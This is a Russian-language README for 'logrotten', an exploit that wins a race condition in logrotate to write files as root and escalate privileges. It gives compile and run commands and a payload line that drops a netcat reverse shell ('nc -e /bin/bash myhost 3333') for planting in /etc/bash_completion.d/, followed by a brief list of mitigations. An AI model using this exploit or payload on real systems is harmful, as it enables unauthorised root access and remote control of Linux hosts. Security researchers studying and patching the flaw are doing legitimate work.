[!WARNING]
Этот репозиторий перемещён на https://codeberg.org/whotwagner/logrotten. Пожалуйста, посетите новое место для последних обновлений.
Выигрываем гонку в logrotate для повышения привилегий

Краткое описание
- logrotate подвержен состоянию гонки после переименования файла журнала.
- Если logrotate выполняется с правами root, и в конфигурации задана опция, создающая
файл (например, create, copy, compress и т.д.), а пользователь контролирует
путь к журналу, то можно злоупотребить состоянием гонки для записи
файлов в ЛЮБЫЕ каталоги.
- Атакующий может повысить свои привилегии, записав reverse-shell в
такие каталоги, как "/etc/bash_completition.d/".
Предварительные условия для повышения привилегий
- Logrotate должен выполняться с правами root
- Путь к журналу должен находиться под контролем атакующего
- В конфигурации logrotate должна быть задана любая опция, создающая файлы
Протестированные версии
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
Компиляция
- gcc -o logrotten logrotten.c
Подготовка полезной нагрузки
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
Запуск эксплойта
Если в logrotate.cfg задана опция "create":
./logrotten -p ./payloadfile /tmp/log/pwnme.log
Если в logrotate.cfg задана опция "compress":
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
Известные проблемы
- Было сложно выиграть гонку внутри docker-контейнера или на lvm2-томе. Эта версия logrotten повышает надёжность.
Меры защиты
- убедитесь, что путь к журналу принадлежит root
- используйте опцию "su" в logrotate.cfg
- используйте selinux или apparmor
Автор
Ссылки